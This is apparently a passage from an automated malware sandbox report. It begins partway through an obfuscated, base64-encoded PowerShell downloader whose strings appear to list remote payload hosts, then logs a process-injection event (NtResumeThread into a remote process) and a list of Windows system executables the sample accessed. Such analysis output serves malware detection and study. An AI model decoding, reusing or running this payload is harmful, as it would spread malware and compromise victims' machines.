BRAEIAeQBBAEcAMABBAFkAUQBCAHUAQQBHAGsAQQBlAGcAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAFMAQQBCADUAQQBHAFEAQQBZAFEAQgAwAEEARwA4AEEAYgBRAEIAdgBBAEgASQBBAGMAQQBCAG8AQQBHAGsAQQBZAHcAQQB1AEEASABJAEEAWgBRAEIAdQBBAEgAUQBBAFkAUQBCAHMAQQBIAE0AQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbABBAEgAQQBBAGEAUQBCAGoAQQBHAGcAQQBhAFEAQgBzAEEARQBVAEEAYwB3AEIAegBBAEcAOABBAGEAUQBCAHUAQQBHAFUAQQBjAGcAQQB1AEEARwBRAEEAYQBRAEIAbgBBAEcAawBBAGQAQQBCAGgAQQBHAHcAQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVgBBAEcANABBAFkAdwBCAHYAQQBHADAAQQBjAEEAQgAxAEEASABRAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAHUAQQBHAFUAQQBjAHcAQgB6AEEARgBNAEEAZABRAEIAaQBBAEcAYwBBAGIAQQBCAHYAQQBIAFEAQQBkAEEAQgBoAEEARwB3AEEATABnAEIAeQBBAEcAOABBACIAOwAkAHMAdwBpAG4AZQBwAGkAcABlAE4AbwBuAGkAbABsAHUAcwBpAHYAZQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAeABBAEMANABBAE0AZwBBADAAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEANQBBAEQAUQBBAHoAWQBMAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBFAEEASABVAEEAWQB3AEIAcgBBAEgAQQBBAGEAUQBCAHUAQQBFADQAQQBaAFEAQgBzAEEASABNAEEAYgB3AEIAdQBBAEMANABBAGIAZwBCADUAQQBHAE0AQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQARQBBAE4AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBADUAQQBEAEkAQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAQQBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQB5AEEARABJAEEATgBBAEEAdQBBAEQAZwBBAE8AUQBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
Process injection Process 3052 resumed a thread in remote process 1784
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000340
suspend_count: 1
process_identifier: 1784
1 0 0
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe